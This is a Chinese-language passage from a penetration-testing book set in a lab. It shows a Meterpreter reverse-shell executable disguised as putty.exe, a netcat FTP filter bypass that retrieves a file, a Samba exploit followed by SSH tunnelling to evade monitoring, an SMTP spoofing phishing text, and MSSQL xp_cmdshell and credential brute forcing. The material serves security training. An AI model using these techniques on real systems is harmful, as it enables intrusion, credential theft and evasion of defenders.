在很大程度上,要利用 Windows 7 机器,我们需要获得某种客户端攻击。我们将在本书的后面讨论这些攻击。现在,我们将使用创建可执行文件的简单方法,然后将其传输到受害者机器。执行时,这将为我们提供对 Windows 7 机器的 shell。一旦我们有了 shell,那么只是通过不同的进程来尝试绕过 UAC 并在机器上实现系统级别特权的问题。

我们要做的第一件事是验证机器上是否启用了 UAC 设置。您可以通过导航到控制面板 | 操作中心 | 更改用户账户控制设置来找到设置。这将打开 UAC 的设置。以下是示例:

用户账户控制

我们将创建一个可执行文件,并将其传输到 Windows 7 虚拟机,以便从被攻击的机器中获得我们的第一个 shell。我们将使用 metasploit 的可执行文件功能。

我们首先需要创建一个可执行文件,用作从 Windows 7 机器返回到我们的 Kali Linux 机器的连接。我们在 metasploit 工具中具有这种能力。在您的 Kali Linux 机器上,打开一个终端窗口,并输入msfconsole来打开 metasploit 工具。一旦 metasploit 工具启动(这将需要一分钟),输入以下命令:

msfpayload windows/meterpreter/reverse_tcp LHOST = <IP ADDRESS OF Kali> LPORT=123 X > putty.exe

这将创建一个名为putty的可执行文件,其中包含用于从网络到 Kali 机器的连接的有效载荷和连接信息。

以下是输入和完成命令的示例:

用户账户控制

屏幕显示输入和完成命令的示例(裁剪的文本不重要)

我们现在已经创建了文件,并需要将其从我们的机器传输到受害者。我们可以使用某种形式的社会工程学;但是,对于我们的目的,在实验环境中,我们将文件拖放到受害者机器中。

接下来我们需要做的是设置 metasploit 工具;我们通过输入以下命令来实现这一点:

  • use exploit/multi/handler

  • set PAYLOAD windows/meterpreter/reverse_tcp

  • set LHOST <Kali IP>

  • set LPORT 123

  • exploit

这将设置监听器,并等待受害者连接。以下是命令的示例:

用户账户控制

现在我们已经准备好连接了。为此,我们需要用户运行我们创建的可执行文件。我们可以使用诸如msfencode之类的编码器来尝试规避已经存在的基于主机的保护措施。然而,在测试环境中,我们只能验证规避是否适用于我们的配置,并不能保证我们在目标环境中会得到相同的配置。当程序运行时,我们应该在我们的 Kali 窗口中看到一个连接和会话打开。以下截图显示了一个示例:

用户账户控制

现在我们有了一个 shell。接下来就是棘手的部分;我们必须尝试提升权限,但首先我们需要看看我们目前的权限级别是什么。在受害机器上的 shell 中输入getuid来显示您当前的权限级别。以下截图显示了一个示例:

用户账户控制

正如前面的截图所示,我们不是系统,所以我们需要提升权限并绕过 UAC 保护。首先要尝试的是看看 Meterpreter shell 是否能为我们执行特权升级。我们可以通过输入getsystem来让它尝试将权限提升到系统级别。以下截图显示了一个示例:

用户账户控制

显示输入 getsystem 并让其尝试将权限提升到系统(裁剪的文本不重要)

正如前面的截图所示,我们没有成功,所以我们需要尝试另一种方法。当我们讨论客户端测试时,我们将更详细地讨论这个问题。所以,现在我们将在这里停下来,稍后再来看这个问题。一如既往,这取决于我们已经入侵的机器的配置。我们不能保证我们能够绕过 UAC。

主机防火墙

在我们的测试中,防御中经常被忽视的一点是主机防火墙。在本章的前面,我们解释了在防火墙开启时,我们在进行漏洞扫描时会受到一定的限制。我们将继续进行测试,以便了解主机防火墙可能带来的挑战,然后看看在防火墙开启时我们可以使用哪些方法来从目标获取数据。

正如您可能记得的,根据我们的扫描方法论,我们首先寻找活动系统,然后是端口,接着是服务。从那里,我们进行枚举,识别漏洞,然后根据我们的工作范围进行利用。现在,我们需要做的是首先关闭防火墙,然后在各个定义的区域的样本上打开防火墙。我们将使用 Kali Linux 虚拟机和 Windows 7 机器作为我们测试的目标。

在您的 Windows 7 机器上,我们需要打开防火墙配置。有许多方法可以做到这一点。为了我们的目的,在这里我们将右键单击网络托盘图标,然后导航到打开网络和共享中心 | Windows 防火墙以打开防火墙配置选项。以下截图显示了一个示例:

主机防火墙

正如前面的截图所示,我们的防火墙是开启的,但只在家庭或工作(私人)网络设置上开启。这可能不是我们在实际环境中会遇到的情况;公共网络设置更有可能是开启状态,但对于我们的测试来说,这已经足够了。所以,问题是,对于最新版本的 Windows 来说,不同的区域对于防火墙设置意味着什么,与例如 Windows Server 2003 相比并不那么重要?

最新版本的 Windows 知道,如果机器的角色是客户端,那么它不应该接收任何连接。那么,我们如何查看连接设置呢?在 Windows 7 机器上以管理员命令提示符打开,并在命令行上输入以下命令:

netsh firewall show portopening

命令的示例如下截图所示:

主机防火墙

正如之前的截图所示,机器上没有任何开放的东西。同样,这是因为它是一个客户端,默认情况下,Windows 不允许任何东西与客户端通信。这可以通过查看 Windows 机器上的推荐设置来发现。这的一个示例如下截图所示:

主机防火墙

现在我们对 Windows 防火墙规则有了更好的理解,是时候进行我们的方法论了。使用你的 Kali Linux 机器,扫描 Windows 7 机器。你应该执行方法论的步骤,然后查看有无防火墙的结果。对没有防火墙的机器进行 Nmap 的枚举扫描的示例如下截图所示:

主机防火墙

现在我们有了一个显示关于我们目标的大量信息的结果,我们将打开防火墙,看看 Nmap 工具或者更确切地说,Nmap 脚本引擎是否能检测到来自受防火墙保护目标的任何东西。你可以使用命令行来启用防火墙。在命令提示符窗口中,输入netsh firewall set opmode enable来启用防火墙。针对受防火墙保护的机器进行扫描的结果示例如下截图所示:

主机防火墙

正如之前的截图所示,防火墙可能会给我们的测试带来挑战。事实上,对于 Windows 7,默认情况下,真的没有任何入站允许的东西,这显示了安全哲学的变化。好消息是,某些东西将需要访问,因此管理员会打开某些东西或允许某些程序访问。要查看命令行中允许的程序,输入以下命令:

netsh firewall show allowedprogram

我们已经看过了 Windows 7 防火墙,这是客户端的一个表示,但服务器呢?我们将以 Windows 2003 服务器进行比较。Windows Server 2003 中的命令是相同的。如果服务器设置为独立服务器,那么你将看到与我们之前发现的类似的结果。然而,很少见到没有某种形式服务的服务器,最常见的是文件共享服务,许多服务器允许共享信息。启用文件共享的 Windows Server 2003 的示例如下截图所示:

主机防火墙

现在我们已经看过了如果一个站点使用 Windows 的内置防火墙所采取的保护措施,正如我们发现的那样,这可能会在测试中提出挑战。

端点保护

我们要看的下一个保护类型是端点保护。我们之前看过一个例子,所以这里我们只会简要介绍一下这个主题。要记住的重要事情是所有这些保护通常都有一些必须允许通过的东西,在测试中,我们的任务是尝试发现这一点并揭示弱点。我们看了 Symantec 工具,并发现如果我们使用一个带有签名的标准有效负载,那么很可能会被检测到。如果我们在受保护的机器上获得了 shell,那么只需要识别服务然后终止它。只要我们选择 Meterpreter 作为有效负载,这一切都可以使用 metasploit 工具完成。

增强的缓解体验工具

在撰写本书时,微软提供的增强缓解体验工具(EMET)工具可能是您在机器上遇到的最棘手的工具之一。这种保护的部署仍处于起步阶段,但如果您在测试中遇到它,可能会非常具有挑战性。这也是微软开始支持“漏洞赏金”概念的原因,他们将支付在其最新操作系统中发现的软件漏洞。

在撰写本书时,EMET 的当前版本是 4.0。如果您遇到受 EMET 保护的机器,您将不得不想出自定义有效载荷以及其他方法来尝试绕过它,但祝您好运!随着 EMET 的迭代不断成熟,要绕过它将变得越来越困难。目标是在获得访问权限后停止 EMET 进程,然后进行攻击;否则,使用自定义有效载荷,并希望您可以绕过 EMET 保护。

以下是我笔记本电脑上 EMET 配置的一个示例:

增强缓解体验工具

正如前面的截图所示,在这个配置中,已经有三个应用程序被添加到 EMET 工具中。这些应用程序将在一个 shimmed 环境中运行,以防止它们被 compromise。EMET 工具还有许多已经设置好的应用程序进行监控。

以下是一些示例,显示了其中一些:

增强缓解体验工具

您还可以添加需要受 EMET 工具保护的应用程序。要查看用户添加了哪些应用程序,您可以在命令提示符窗口中输入以下内容:

C:\Program Files (x86)\EMET\EMET_conf --list

这个命令将显示已添加并当前受到 EMET 工具保护的应用程序。以下是一个示例:

增强缓解体验工具

正如前面的截图所示,这台机器正在使用 EMET 工具保护 Adobe Acrobat、Internet Explorer 和 Skype。如果您在测试中遇到 EMET,您的成功将取决于管理员如何配置它。

总结

在本章中,我们讨论了测试平面和内部网络的过程。我们发现这意味着我们不必穿过过滤器或层来攻击目标。虽然这是一件好事,但我们也讨论了这些机器将有一些保护措施。我们还回顾了漏洞扫描器在内部测试中的作用。

在介绍了不同的基于主机的保护措施后,我们更详细地研究了它们,并在某些情况下尝试了许多不同的技术来绕过我们可能遇到的主机上的不同保护。具体来说,我们查看了主机防火墙和 UAC 设置以及它们对测试结果的影响。

当我们查看了主机防火墙和 UAC 后,我们继续简要地查看了可能挑战我们测试的其他端点保护。

最后,我们通过查看 EMET 工具可能对我们的测试提出的挑战来结束了本章。

本章到此结束。您现在已经审查了在测试平面和内部网络时可能面临的一些挑战。接下来,我们将看看在评估服务器和服务的弱点时的测试方法。

第十一章:攻击服务器

在本章中,我们将确定我们用来攻击服务和服务器的方法。好消息是,我们知道服务器必须运行服务,并且更重要的是,必须将套接字处于监听状态,准备接受连接。此外,这意味着服务器只需坐在那里等待我们来攻击它。这对我们来说是好事,因为我们已经在第九章中涵盖了这一点,评估 Web 服务器和 Web 应用程序。我们将看到的最常见的攻击向量是运行在 Web 服务器上的 Web 应用程序。我们不打算在这里再次涵盖这一点;相反,我们将专注于我们可以攻击的其他服务器平台上的其他事物。在本章中,我们将讨论以下主题:

  • 服务器的常见协议和应用程序

  • 数据库评估

  • 操作系统平台特定

本章将为我们提供有关我们在测试时可以针对的服务器的信息。由于目标是服务器,我们可能会通过操作系统漏洞或缺陷来获取访问权限。不幸的是,这种情况变得越来越少见。微软和其他供应商已经做了他们的功课,对操作系统的攻击向量并没有消失,但可以认为它们处于生命支持状态。因此,我们希望专注于运行在服务器上的协议和应用程序,因为它们通常会为我们提供成功攻击的最佳机会。

服务器的常见协议和应用程序

在本节中,我们将看一些通常在服务器上找到的常见协议和应用程序。

网络

再次强调,尽管我们已经涵盖了这一点,但它仍然是服务器上最常见的应用程序之一,因此也是我们潜在的攻击向量之一。在涉及到 Web 应用程序时,由于应用程序编码中的常见错误,我们有更多潜在的攻击领域。

文件传输协议

文件传输协议FTP)已经存在很长时间了。在本节中,我们将使用一种高级的 FTP 方法,当您遇到不允许标准 FTP 客户端/服务器通信工作的环境时可以使用。关于协议的信息的一个很好的参考是 Network Sorcery 网站;您可以在www.networksorcery.com找到它。这里有大量的参考信息;我们想要专注的领域是RFC Sourcebook | Protocols。以下是此页面的示例屏幕截图:

文件传输协议

RFC 协议(裁剪的文本不重要)

当您查看网站时,您会发现顶部有一个按字母顺序排列的菜单栏。这是我们想要选择我们在进行专业安全测试时可能遇到的协议的地方。我们想要查看 FTP 信息。导航到F | FTP以打开包含有关 FTP 信息的页面。以下是此示例的屏幕截图:

文件传输协议

屏幕显示包含有关 FTP 信息的页面(裁剪的文本不重要)

当我们进行测试时,通常为时已晚以获取我们可能需要的某些协议的详细知识;这就是 RFC Sourcebook 可以帮助我们的地方。这个网站很有用,因为它还提供了协议数据包头信息。单击IP以显示头部。以下是头部的示例屏幕截图:

文件传输协议

协议研究

在研究协议时,你可以发现很多东西;然而,要能够做到这一点,我们需要了解协议的行为方式。这就是我们在研究协议时想要做的事情;此外,我们想知道如何利用 FTP。由于大多数客户端,如果不是所有的话,都在机器上有一个 FTP 客户端,这是一个很好的传输文件的方式。例如,如果我们发现了我们在第七章中讨论的弱过滤器,我们通常会这样做,设备评估。在我们能够做到这一点之前,我们需要更多地了解 FTP 以及它是如何创建连接的。我们将为您节省一些时间并提供一个示例;然而,我们鼓励您研究该协议以了解更多可以使用的技巧。

注意

你需要知道的主要事情是 FTP 端口命令通过逗号而不是我们通常使用的小数点来识别 IP 地址。

此外,它使用字节模式系统,端口以 Base 256 格式表示。因此,要连接到 IP 地址192.168.177.10的端口1024,命令如下:

port 192,168,177,10,4,0

这是一个端口的分解,端口由4x256=1024表示。再次强调,当我们遇到常见的 FTP 协议时,了解这些是很有用的,它位于一个由弱过滤规则保护的 DMZ 中。

这最好用一个例子来表示。你需要一台机器作为过滤器;你可以使用我们在本书中之前创建的Dynamips机器或IP Tables机器。然后,你需要一台作为内部机器的机器,它将运行 FTP 服务器。我们将在本书中使用 Windows 7 机器,但它可以是任何具有运行 FTP 服务器能力的机器。然后,我们需要一台作为外部机器的机器,从外部发送流量。你需要在过滤设备的两侧创建路由。此外,创建允许 FTP 流量和返回流量的规则。请记住,返回流量的源端口将是 20。一旦你建立了所需的架构,只是一个通过命令来工作的问题。我们将使用 Kali Linux 机器发送命令并运行netcat;我们将使用受保护机器上的 3com FTP 服务器。

正如我们之前提到的,对于路由器和无状态过滤器来说,管理员通常允许诸如 FTP 之类的协议的返回流量,正如我们所展示的,我们可以利用这一点来绕过已经设置的过滤器。此外,我们可以利用我们对 FTP 行为方式和与 FTP 服务器交互所使用的命令的知识。

一旦我们建立了我们的环境,我们需要做的第一件事就是启动我们的 FTP 服务器。一旦服务器启动,我们需要使用来自源端口 20 的能力从 Kali Linux 机器连接到它。在 Kali Linux 的终端窗口中,输入以下命令:

enter nc –p 20 <IP Address of the server> 21

这将连接到位于过滤设备内部的 FTP 服务器。下面的截图显示了一个示例:

协议研究

正如前面的截图所示,我们成功的一个很好的指示是我们看到了服务器的横幅。这是一个常见的配置,当内部机器被允许连接到外部 FTP 服务器时,服务器将从源端口 20 发送数据。然后,允许此连接的规则在过滤设备中;因此,通过从这个端口发送数据,我们可以渗透到一个弱过滤器中。我们使用内部的 FTP 服务器来证明这一点。我们本可以选择机器上的任何开放端口来展示这一点。现在我们需要登录服务器,很可能anonymous将被启用。因此,将用户输入为anonymous,一旦看到用户的确认,输入密码为password123

一旦收到用户已登录的确认,您可以输入help以查看命令。从可用的 FTP 命令中,我们想要使用的是nlst命令,它将为我们提供所在目录的列表。在 FTP 登录窗口中,输入nlst以列出目录。您成功了吗?答案是否定的!这是因为要使其工作,程序必须知道客户端正在侦听的端口,以便将数据发送到该端口。为了设置这一点,我们需要打开另一个窗口,以便可以获取连接返回的数据。当您打开另一个终端窗口时,可以将它们排列在一起,以便同时看到它们。在新窗口中,输入以下命令:

nc –l –p 2048

这将在 Kali Linux 机器上打开一个端口,用于接收来自服务器的数据。一旦端口处于侦听状态,我们需要告诉服务器将数据发送到哪个端口,我们使用port命令来做到这一点:

port <IP address separated by commas> 8,0 

这将通知服务器将数据发送到端口 2048。数据发送后,您输入nlst命令。这将显示服务器上列出的目录。以下屏幕截图显示了一个示例:

协议研究

正如前面的屏幕截图所示,我们在服务器上有一个名为account.txt的文件。我们现在将使用 FTP 服务器将文件发送给我们。我们希望将接收到的数据输出到一个文件中;我们将使用输出重定向(>)运算符来实现这一点。这个过程与之前的一样。在带有netcat工具的窗口中,输入以下命令:

nc –l –p 2048 > trophy.txt.

我们现在准备运行命令序列。输入与我们之前输入到端口命令相同的命令。一旦输入了端口命令,我们需要获取文件。我们通过输入retr accounts.txt来实现这一点。以下屏幕截图显示了一个示例:

协议研究

正如前面的屏幕截图所示,我们已经将文件传输到我们的 Kali Linux 机器上。为了验证这一点,我们输入trophy.txt。结果如下屏幕截图所示:

协议研究

正如前面的屏幕截图所示,我们已成功传输了一个文件。重要的是要记住,这可以是任何文件。要求是找到弱过滤规则,然后利用它为我们谋利。

我们已经讨论了如何识别漏洞以及进行这方面的许多资源,这在整本书中都有提到。FTP 服务器是一种软件,因此也存在漏洞。事实上,我们使用的 FTP 服务器版本 3com Daemon 确实存在一个可利用的漏洞。但是,由于这是我们的测试实验室,我们在很大程度上控制着我们的机器以及在这些机器上运行的应用程序。

我们可以访问 Exploit DB 网站(www.exploit-db.com)来查看我们所指的内容。一旦我们在网站上,我们搜索在端口 21 上运行的所有漏洞。以下屏幕截图显示了搜索结果的示例:

协议研究

安全外壳

安全外壳SSH)协议非常常见,所以在测试时很可能会遇到。我们应用于 FTP 的技术在某些情况下也可以应用于 SSH;这取决于管理员如何配置对 SSH 服务器的访问。我们不会在这里专注于此,因为我们已经涵盖了关于 FTP 的过程和步骤。

那么,SSH 协议是什么?它最初是作为 Telnet 协议明文弱点的替代品而设计的。了解更多关于该协议的方法是访问 Network Sorcery 网站。

SSH 的解释示例如下屏幕截图所示:

安全外壳

现在我们对 SSH 协议有了一个简要的了解,让我们来看看与之相关的漏洞。如果我们回到我们的 Exploit DB 并搜索 SSH 的端口,即 22,我们可以查看协议本身的漏洞。这次搜索的结果的一个例子如下截图所示:

安全外壳

我们的搜索结果返回了一些漏洞利用;然而,这次搜索并没有返回最新版本的漏洞。起初,我们会说这使得我们今天很难找到一个可以用来攻击网站的漏洞。在许多环境中,我们发现并继续发现 SSH 协议的旧版本,所以未来不要排除使用它。

SSH 协议的另一个好处是,它的强度取决于管理员的配置。如果管理员允许存在弱密码,那么我们仍然有机会使用 SSH 协议获得访问权限。这带我们来到一个非常重要的观点,那就是,我们并不总是必须利用漏洞才能进入系统!我们可以使用其他方法访问机器,所以并不总是必须找到一个漏洞。此外,漏洞的验证或利用必须根据工作范围来允许。

我们可以做的一个强大的事情是使用 SSH 来掩盖我们的存在并使客户网络的监控失效。由于 SSH 是加密的,我们可以利用它来远程执行命令一旦我们利用了一台机器。在这个演示中,我们将使用 Kioptrix 虚拟机。过程将是利用它,然后破解密码并使用它通过 SSH 登录到机器,然后在加密隧道中执行我们的命令。我们将一直运行 Wireshark,这样我们可以看到受害者的网络监控系统会看到什么。

正如我们之前发现的,我们知道我们有一个易受攻击的 Samba 版本,所以我们将使用它作为我们的初始攻击向量。我们可以使用 metasploit 或者来自 exploit 数据库的代码。我们需要运行 Wireshark 并查看我们攻击时能看到什么。在书中的例子中,我们将使用代码而不是 metasploit。我们决定使用这个是因为 metasploit Meterpreter shell 很棒,但如果我们没有 Windows 机器,那么我们的 shell 选择就有限了。为了提醒你,我们使用的是 C 文件10.c,我们已经将其编译成了sambaexp的名称,所以我们想要运行./sambaexp命令来看如何使用这个工具。记住,你必须在程序的目录中才能执行该命令。这个结果的一个例子如下截图所示:

安全外壳

在终端窗口中,我们需要输入以下命令:

./sambaexp –b 0 –v <IP address of the target>

这个命令应该会在机器上获取 shell,一旦你做到了这一点,你就可以复制密码文件并破解密码。或者,你可以创建一个用户或者更改 root 密码。你选择哪一个取决于你。下面的截图显示了一个被利用的机器的例子:

安全外壳

我们现在在机器上有了 root 用户,但问题是我们正在通过网络进行,所以任何监控系统都会看到我们的操作。我们可以输入一些命令,然后在 Wireshark 中查看信息。输入/sbin/ifconfig来查看 IP 信息。然后,输入nmap来看看我们是否幸运地管理员已经在机器上安装了 Nmap。这个命令的一个例子如下截图所示:

安全外壳

输入 nmap 后出现的屏幕(裁剪的文本不重要)

正如前面的截图所示,我们很幸运;嗯,并不是那么幸运,因为这是一个非常旧的 Nmap 版本。不过,我们的活动呢?我们被注意到了吗?Wireshark 捕获了什么?可以想象,我们所做的大部分事情都是明文的;因此,Wireshark 会显示我们的活动。以下截图显示了一个例子:

安全外壳

正如前面的截图所示,我们截取了我们的通信,监视设备会知道我们在做什么。由于我们在机器上有 Nmap 工具,我们可以用它运行命令。但是,如果有人查看网络流量,我们会再次被发现;因此,最好使用隧道,我们现在就这样做。

在本书的示例中,我们已将受损机器上的 root 密码更改为password。要通过 SSH 连接,我们输入ssh root@192.168.177.148。以下截图显示了这个示例:

安全外壳

正如前面的截图所示,我们登录到了 root 账户。一旦我们进入,我们进行了一个 Nmap 扫描。这都很好,但我们想知道的是我们的网络流量对我们潜在客户的监视设备揭示了什么。以下截图显示了 Wireshark 信息的示例:

安全外壳

我们的网络流量显示了握手过程,其中包含了不同算法的明文信息以及客户端和服务器的横幅。一旦握手完成,其余数据就被加密了,因此我们无法看到在我们的隧道中发生了什么;这正是我们的目标。很多类型的架构都经常使用 SSH,如果我们攻击了一台机器并执行后期利用任务而不被监视,我们就可以利用这一点。

邮件

我们想讨论的下一个服务是邮件。这是我们可以指望在客户端服务器上找到的服务之一。我们面临的第一个挑战之一是正在使用的邮件服务器类型。一旦我们确定了这一点,我们就可以开始寻找攻击它的方法,或者至少在测试时利用它。我们遇到的大多数服务器将运行简单邮件传输协议SMTP),这是一件容易确定的事情。SMTP 运行的端口是 25,但管理员可以更改这一点,而且经常这样做。因此,要找到返回的横幅以发现服务运行的位置。

我们可以使用我们之前使用的相同技术,并在 Exploit DB 中搜索,看看是否可能有某种利用。以下截图显示了对 SMTP 利用的搜索示例:

邮件

正如前面的截图所示,我们在 SMTP 服务的利用部门实际上并没有什么最新的内容。这只是我们在测试中可能遇到的邮件类型之一,所以让我们再探索另一种类型,看看我们是否能有更多的运气。我们将查看运行在端口 110 上的邮局协议POP)的服务的利用搜索的示例如下截图所示:

邮件

我们在这里并没有太多运气,这就是搜索利用的现实。所有系统和服务都会有漏洞,但并非所有漏洞都会有利用。我们还有一种邮件类型可以寻找,那就是运行在端口 143 上的互联网消息访问协议IMAP)。以下截图显示了对利用的搜索示例:

邮件

嗯,我们在邮件服务的利用上没有取得任何进展,那么现在该怎么办呢?放弃吗?还没有!我们可以在 SMTP 中与邮件服务器交互,可能发送一封电子邮件。只要社会工程学是我们工作范围的一部分,这是可能的。你可以连接到端口 25 并发送电子邮件。多年前,你可以以任何你选择的用户身份发送电子邮件。以英国女王或美国总统的名义发送电子邮件是很有趣的。这是因为可以手动连接端口 25,并输入邮件服务器发送邮件时使用的命令。在 2000 年,这种邮件欺骗攻击被用来攻击 Emulex 公司,散布关于该公司的虚假信息。这直接影响了股价,并导致公司损失超过 20 亿美元,直到发现这是一封欺骗和非法的电子邮件。由于 Emulex 攻击后可用的中继站很少,你仍然需要对其进行测试。此外,我可以通过连接到端口 25 以合法用户的身份发送电子邮件。这通常被称为 SMTP 中继。步骤如下:

  1. telnet 25

  2. mail from: kevin@company.com

  3. rcpt to: victim@spoofed.com

  4. 数据

  5. 主题:IT 部门的消息

  6. 你好,这是 IT 部门,请发送一封电子邮件,附上您的用户名和密码,以访问 XYZ 项目文件。谢谢。

  7. (这是一个单独一行的句号,表示数据结束)

这是手动连接和发送电子邮件的过程。再次强调,大多数组织会阻止这样做,但值得一试。此外,在内部测试中,你可能会更成功。以下是一个失败的尝试示例:

Mail

正如前面的截图所示,第一个rcpt to是发送到一个错误的电子邮件地址,并立即被拒绝,显示中继不被允许的消息。这是因为一段时间前通过 Emulex 攻击以及其他攻击所学到的教训。在今天的环境中,这很可能不会奏效,但总有机会。

数据库评估

我们正在测试我们想要视为有价值资产的东西之一:我们客户的数据库。这是公司通常拥有大部分数据的地方,如果泄露,可能会给公司造成巨大的损失。有许多不同的数据库。我们将只集中在其中的三个:Microsoft SQL (MSSQL), MySQL, 和 Oracle

MSSQL

多年来,MSSQL 数据库为我们提供了许多漏洞,但随着数据库版本的成熟,漏洞大大减少。我们将首先搜索在 Exploit DB 网站上是否能找到任何 MSSQL 数据库利用。搜索结果如下截图所示:

MSSQL

正如前面的截图所示,我们没有太多针对 MSSQL 数据库的利用选择,但我们有一个针对 Symantec Endpoint Protection Manager 的有趣利用。然而,这不是针对 MSSQL 的,所以我们将把这留作作业,供那些想要追求的人。有趣的是,它通过 SQL 注入等方式攻击终端保护系统。

由于在搜索利用数据库时我们并没有发现太多东西,我们将把注意力转向我们在遇到 MSSQL 目标时使用的过程。与所有测试一样,要遵循的顺序与我们在整本书中讨论过的方法论非常相似。我们将使用的第一种方法是我们 Kali Linux 发行版中的 Nmap 工具。你需要一个 SQL Server 作为目标。如果你没有,你可以从微软网站上下载软件。请记住,你安装的版本越新,你就需要更改设置,使其更易受攻击。打开一个终端窗口,输入nmap –p 1433 --script ms-sql-info <target>。这个命令的结果示例如下截图所示:

MSSQL

正如前面的截图所示,我们有一个旧版本的 SQL Server,这应该会让我们的工作更容易。一旦我们获得了数据库的信息,我们需要看看是否能确定管理账户的密码,这个账户是 MSSQL 中的 SA 账户。我们在 Nmap 中有一个脚本,可以进行暴力破解尝试来找到密码。在终端窗口中,输入nmap –p 1433 --script ms-sql-brute 192.168.177.149来确定密码。

尝试的示例如下截图所示:

MSSQL

不幸的是,我们的尝试失败了,在这种情况下,我们无法破解 SA 密码。通常,密码将是默认的,即<blank>。由于我们在这方面失败了,我们将在尝试从这个数据库中提取更多数据时面临更多挑战。由于我们控制着目标,我们可以创建一个具有默认或已知密码的目标,以便我们可以继续我们的测试。如果我们确实获得了 SA 账户的凭据,我们可以尝试转储密码哈希。要做到这一点,在 Kali 的终端窗口中输入nmap –p 1433 --script ms-sql-empty-password,ms-sql-dump-hashes <target>。这个命令的示例如下截图所示:

MSSQL

我们想要探索的是 SQL Server 中的存储过程。由于我们已经确定了凭据是默认的,我们可以在服务器上执行命令。在终端窗口中,输入nmap –p 1433 --script ms-sql-xp-cmdshell,ms-sql-empty-password -p 1433 192.168.177.149来在服务器上运行命令。默认情况下,命令将是ipconfig /all,但如果你想运行其他命令,可以进行更改。重要的是要注意,这个命令行访问与在服务器上打开命令提示符窗口是一样的。

这个命令的部分输出示例如下截图所示:

MSSQL

现在我们几乎完全可以访问这台机器。当然,它正在运行 SQL Server 2000;但是,如果它正在运行 SQL Server 2005 呢?我们现在将看一下一个 Windows Server 2003 机器。要记住的主要事情是,对于 SQL Server 2005,这些存储过程默认是禁用的,管理员必须启用它们。此外,SA 密码必须保持默认,因此当你遇到 Server 2005 时,你可能无法像在 SQL Server 2000 配置中那样获得信息。此外,如果密码无法确定,你将无法执行命令。下面的截图示例显示了 SQL Server 2000 未配置默认密码的情况:

MSSQL

到目前为止,我们只使用了 Nmap 中的脚本功能。我们还可以在 metasploit 中进行数据库测试。在终端窗口中输入msfconsole启动 metasploit 工具。一旦 metasploit 工具启动,输入use auxiliary/scanner/mssql/mssql_ping,然后设置RHOSTS并运行模块。模块的输出示例如下截图所示:

MSSQL

我们现在已经了解了数据库服务器的信息以及正在运行的 SQL 版本。接下来我们需要做的是查看 SQL Server 的配置。在 metasploit 窗口中,输入use auxiliary/scanner/mssql/mssql_login,设置RHOSTS,然后运行命令。这个命令的输出示例如下截图所示:

MSSQL

现在我们已经有足够的关于我们的目标、它正在运行的数据库以及数据库的配置的信息。是时候尝试使用 metasploit 对数据库进行枚举了。在 metasploit 窗口中,输入use auxiliary/admin/mssql/mssql_enum来枚举有关数据库的信息。这个命令的输出非常广泛。

这个命令的输出的第一部分示例如下截图所示:

MSSQL

正如前面的截图所示,我们已经能够确定了许多配置参数,并且知道了已创建的数据库的名称。输出的另一部分示例如下截图所示:

MSSQL

我们现在有了管理员登录和数据库配置允许的存储过程的列表。这里只显示了部分列表,但是建议您查看在 MSSQL 数据库中可以找到的所有可能的存储过程。

正如你所期望的,我们有能力使用这些存储过程执行命令,就像我们在 Nmap 中所做的一样。我们现在就来做这个。在终端窗口中,输入use auxiliary/admin/mssql/mssql_exec来访问模块。一旦进入模块,输入set CMD 'dir'来显示机器上的目录。请记住,这是一个具有系统权限的命令行,因此唯一的限制就是你的想象力。这个命令的输出示例如下截图所示:

MSSQL

MySQL

接下来我们将看一下 MySQL 数据库,这是一个免费开源的数据库。和之前一样,我们将从 Exploit DB 网站开始搜索,看看在这个数据库方面可能有哪些利用程序。以下截图显示了搜索结果的一个示例:

MySQL

正如前面的截图所示,我们有许多关于 MySQL 的漏洞,针对这些漏洞已经有了利用程序。现在,我们将继续使用识别和枚举 MySQL 数据库中的信息的方法。

我们首先需要一个 MySQL 数据库来进行操作,所以我们可以使用我们的 CentOS 虚拟机。要安装数据库,输入yum install mysql-server mysql。安装完成后,需要进行检查。输入chkconfig mysqld on,一旦完成,输入/etc/init.d/mysqld start来启动数据库。

这是我们进行测试所需要做的。我们将使用 Nmap,就像我们在之前的部分中所做的一样,针对数据库进行操作。我们将输入的第一个命令是利用数据库已经设置了默认设置这一事实,因此根帐户没有密码。在 Kali 上的终端窗口中,输入nmap -p 3306 --script mysql-empty-password,mysql-databases <target>。这个命令的结果示例如下截图所示:

MySQL

如前面的截图所示,这个版本的 MySQL 不允许连接。这是默认安装配置的更改。我们有几个选项。我们可以尝试在没有密码的情况下进行枚举;这可能不会让我们走得很远。此外,我们可以设置密码并配置数据库,看看我们能发现什么;但是,为了节省时间,我们将使用 metasploitable 虚拟机。我们只需要启动 MySQL 服务器。在 metasploitable 虚拟机终端窗口中,输入sudo /etc/init.d/mysql start。提示时,输入所需的密码。返回到您的 Kali 机器,输入nmap -p 3306 --script mysql-empty-password,mysql-databases <target>。此命令的输出示例如下截图所示:

MySQL

现在我们有了空密码的 MySQL 数据库,我们可以继续探索 Nmap 中的不同命令。在 Kali 终端窗口中,输入nmap -sV --script mysql-empty-password,mysql-databases,mysql-users <target>来枚举数据库中的用户。此命令的输出示例如下截图所示:

MySQL

metasploit 工具还有许多针对 MySQL 数据库的模块。我们在这里不会探索它们,因为它与我们在查看 MSSQL 数据库时涵盖的过程非常相似。我们已经涵盖了这个过程,因此鼓励您自行探索。

甲骨文

这是我们可能会遇到的最流行的数据库之一。Oracle 数据库在从小型到大型企业中被广泛使用。因此,在测试时很可能会遇到它;因此,我们需要查看一些测试它的技术。该产品是商业产品,但他们提供了一个您可以免费使用的 express 版本。您可以从 Oracle 网站下载它,但您需要注册。

互联网上有很多参考资料,可以帮助您设置 Oracle,可以查看 Oracle 自己发布的文档;请参阅docs.oracle.com/html/B13669_01/toc.htm。一旦您设置好了 Oracle 盒子,我们可以尝试多种技术来提取信息并进行测试。

版本 9 之后的 Oracle 数据库开始保护数据库中的信息。我们需要做的第一件事是确定 Oracle 数据库的 SID。我们将尝试使用 metasploit 模块来进行此操作。在 metasploit 终端窗口中,输入use auxiliary/scanner/oracle/sid_enum进入模块。一旦进入模块,您需要设置RHOSTS的值,然后输入run。此命令的输出示例如下截图所示:

Oracle

如前面的截图所示,如果遇到新于 v9 的 Oracle 数据库,则 SID 受到保护。我们可以运行暴力破解攻击来确定 SIDs。还要注意一点,有一些默认值。安装 Oracle 数据库时,您可以在那里查看默认的 SID。要尝试暴力破解 SIDs,请在 metasploit 终端窗口中输入use auxiliary/admin/oracle/sid_brute进入模块。设置 RHOST,然后运行模块。此模块的输出示例如下截图所示:

Oracle

